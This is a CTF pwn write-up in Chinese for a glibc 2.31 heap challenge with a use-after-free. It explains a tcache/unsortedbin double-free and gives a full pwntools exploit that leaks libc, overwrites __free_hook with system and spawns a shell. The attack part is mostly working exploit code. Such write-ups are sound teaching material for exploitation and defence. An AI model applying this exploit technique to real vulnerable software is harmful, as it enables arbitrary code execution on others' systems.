存在UAF,glibc-2.31版本,存在tcache_key检测。
申请十个chunk,释放前7个填满tcachebin,然后释放第9个进入到unsortedbin中泄露libc。
接着释放第8个chunk,此时会和unsortedbin合并。
申请出tcachebin中的一个chunk,留一个tcachebin的位置利用double_free。
此时再次释放第9个chunk,就会将其释放到tcachebin中。
通过申请一个0x90的chunk,覆盖next指针为free_hook即可
EXP
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| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('node5.anna.nssctf.cn', 28646) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.31.so') def add (index,size,content): rl(b">") sl(b'1') rl(b"Index: ") sl(str(index)) rl(b"Size: ") sl(str(size)) rl(b"Content: ") s(content) def delete(index): rl(b">") sl(b'2') rl(b"Index: ") sl(str(index)) def show(index): rl(b">") sl(b'3') rl(b"Index: ") sl(str(index))
gdb.attach(p) for i in range(10): add(i,0x80,b'a') for i in range(7): delete(i) delete(8) show(8)
libc_leak = uu64() lg("libc_leak",libc_leak) libc_base = libc_leak-0x1ecbe0 lg("libc_base",libc_base) free_hook = libc_base + libc.sym['__free_hook'] system = libc_base+libc.sym['system'] delete(7) add(10,0x80,b'aa') delete(8) add(11,0x10,b'aa') add(12,0x90,p64(0)*14+p64(free_hook)) add(13,0x80,b'/bin/sh\x00') add(14,0x80,p64(system)) delete(13)
inter()
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